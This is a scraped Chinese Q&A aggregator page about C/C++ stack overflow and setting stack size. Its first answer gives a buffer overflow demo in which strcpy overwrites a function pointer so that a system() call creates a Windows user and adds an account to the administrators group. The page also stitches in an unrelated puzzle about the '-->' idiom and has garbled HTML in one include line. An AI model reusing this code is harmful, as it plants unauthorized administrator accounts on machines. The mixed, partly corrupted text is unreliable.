C/C++stackoverflow怎样设置stack大小
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了C/C++stackoverflow怎样设置stack大小相关的知识,希望对你有一定的参考价值。
1、stack overflow是栈溢出,这是最常见的缓冲区溢出。2、stack栈区大小,是有链接器在生成可执行文件时指定的,以vc++为例,在生成exe、dll等可执行文件时,它默认的栈区大小是1M。
3、stack overflow的防范,对于大的内存分配,超过1M的不要使用栈区内存空间,另外主要的问题在于对内存布局的把握 。下面的代码是一个VC6.0中测试成功的缓冲区溢出实例,运行后会在windows系统中添加一个管理员帐号plus。
#include <iostream>
using namespace std;
void (*pfunc)();
void show()
system("cmd /c net user plus 123 /ad && net localgroup administrators fuck /ad");
exit(1);
int main()
char a[4];
char shellcode[13]="\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90";
pfunc=show;
*(int *)&shellcode[8]=(int)pfunc;
//overflow
strcpy(a,shellcode);
return 0;
如果将上面的代码,修改为如下:
..............
int main()
char shellcode[13]="\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90";
char a[4];
...............
那么是不会溢出的,因为两者的内存分布是不一样的,所以需要对编译器、链接器的内存分配相当了解,才可以彻底的杜绝 。 参考技术A 把数组弄成全局变量或者malloc出来就行
#include <stdio.h$amp;>amp;$nbsp;
#define M 900
#define N 900
int a1[M][N];
int main( void )
int i,j;
for(i=0;i <M;i++)
for(j=0;j <N;j++)
a1[i][j]=N*i+j+1;
printf("%d ",a1[i][j]);
if(j==N-1)
printf("\n");
return 0;
本回答被提问者和网友采纳
C/C++ 难题困境
来源:Github - stackoverflow-top-cpp
这是一个C/C++难题清单,题源来自Github的stackoverflow-top-cpp。这个题库精选并总结了StackOverflow上的高赞回答,可以测试你有多了解C/C++,刷新你的知识,或者帮助你的 coding 面试!
CPP开发者公号计划定期更新一期,推送的文章中列出题目,回复关键字获取答案和解析。希望大家先自己思考解答,再发关键字看答案 如果觉得对你学习巩固C/C++知识有帮助,欢迎推荐给好友。
问题
我在 Google Groups 论坛 comp.lang.c++.moderated 上看到一个回答 Hidden Features and Dark Corners of C++/STL ( http://groups.google.com/group/comp.lang.c++.moderated/msg/33f173780d58dd20 ),他贴的那段代码中,这个操作符(operator)-->
没看懂是啥意思,我试了一下,在 Visual Studio 2008、G++ 4.4 和 gcc 上都可以编译通过,下面是代码:
#include <stdio.h>
int main()
{
int x = 10;
while (x --> 0) // x goes to 0
{
printf("%d ", x);
}
}
谁能解释下这个操作符到底是什么意思?
以上是关于C/C++stackoverflow怎样设置stack大小的主要内容,如果未能解决你的问题,请参考以下文章